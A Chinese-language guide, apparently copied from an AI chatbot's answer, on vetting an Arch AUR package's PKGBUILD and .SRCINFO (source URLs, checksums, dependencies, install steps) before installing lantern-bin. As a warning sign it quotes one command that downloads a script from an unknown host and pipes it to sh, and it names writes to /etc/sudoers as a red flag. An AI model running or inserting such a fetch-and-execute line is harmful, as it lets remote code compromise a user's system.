豆包真好用(看看以后完全记住了就按自己的理解重写一次)
在安装AUR包时检查文件的核心目的是避免恶意代码、不必要的系统修改或安全风险,即使只有PKGBUILD和.SRCINFO,也有明确的检查重点。以下是具体的检查方向(本文以 lantern-bin 为例):
PKGBUILD:核心脚本,定义了包的来源、依赖、构建步骤、安装逻辑等,是检查的重点。.SRCINFO:由PKGBUILD自动生成的元数据(版本、依赖等摘要),主要用于核对与PKGBUILD是否一致(防止被篡改)。
即使看不懂所有参数,抓住以下核心点即可:
pkgname=lantern-bin # 包名是否和你要装的一致
pkgver=6.0.0 # 版本是否是你预期的(比如官网最新版)
pkgrel=1 # 修订号,一般不影响
pkgdesc="..." # 描述是否和软件功能匹配,有没有奇怪的内容
arch=("x86_64") # 架构是否适合你的系统(比如你是64位就看x86_64)看depends和makedepends数组,比如:
depends=("glibc" "gcc-libs") # 依赖是否是系统基础库或软件的必要依赖
makedepends=("unzip") # 构建时需要的工具,是否合理警惕:如果依赖里出现你不认识的、非必要的包(比如奇怪的“xxx-monitor”“xxx-collector”),可能有风险。
source数组定义了软件的下载地址(lantern-bin是预编译二进制,所以这里是二进制文件的来源):
source=("lantern-${pkgver}.tar.gz::https://github.com/getlantern/lantern/releases/download/v${pkgver}/lantern-linux-amd64-${pkgver}.tar.gz")检查:
- 链接是否是官方域名(比如
github.com/getlantern是 lantern 官方仓库,可信;如果是xxx未知域名.com则危险)。 - 是否有奇怪的参数(比如带
&track=xxx的追踪链接可能没问题,但如果是http://恶意域名/xxx则直接放弃)。
sha256sums(或md5sums)是文件的校验码,用于验证下载的文件是否和作者提供的一致:
sha256sums=("abc123...") # 一串哈希值检查:
- 不要出现
sha256sums=("SKIP")(如果有,意味着不校验文件完整性,风险极高)。 - 可以手动去官方下载地址获取校验码,对比是否和这里一致(比如官网 release 页通常会提供)。
看package()函数(定义软件如何安装到系统):
package() {
# 正常逻辑:复制二进制到/usr/bin,配置文件到/etc等
install -Dm755 "lantern" "${pkgdir}/usr/bin/lantern"
install -Dm644 "lantern.desktop" "${pkgdir}/usr/share/applications/lantern.desktop"
}警惕:
- 有没有执行奇怪的命令:比如
wget http://未知地址/脚本.sh | sh(远程执行脚本,可能藏恶意代码)。 - 有没有修改系统关键文件:比如往
/etc/sudoers、/etc/passwd写内容,或者删除/tmp以外的系统文件。 - 有没有往非标准目录写文件:正常软件只会安装到
/usr/、/opt/等目录,不会往/root/、/boot/写东西(特殊软件除外,比如启动项工具,但需要确认必要性)。
- 有没有
post_install(安装后脚本)里执行可疑操作(比如添加定时任务、启动未知服务)。 - 有没有隐藏的变量或命令(比如用
eval、bash -c执行拼接的字符串,可能藏恶意代码)。
用cat .SRCINFO查看,主要核对:
pkgver、pkgname是否和PKGBUILD一致。depends列表是否和PKGBUILD一致(防止PKGBUILD被改但.SRCINFO没更新)。
- 来源是否是官方域名(GitHub、GitLab官方仓库、软件官网)。
- 依赖是否都是常见基础库(比如
glibc、qt5等)。 - 安装步骤是否只复制文件到标准目录,没有奇怪的脚本执行。
- 有校验和(不是
SKIP)。
如果以上都符合,基本可以放心安装;如果有任何一项存疑,建议放弃(或去AUR页面看其他用户评论,是否有人反馈问题)。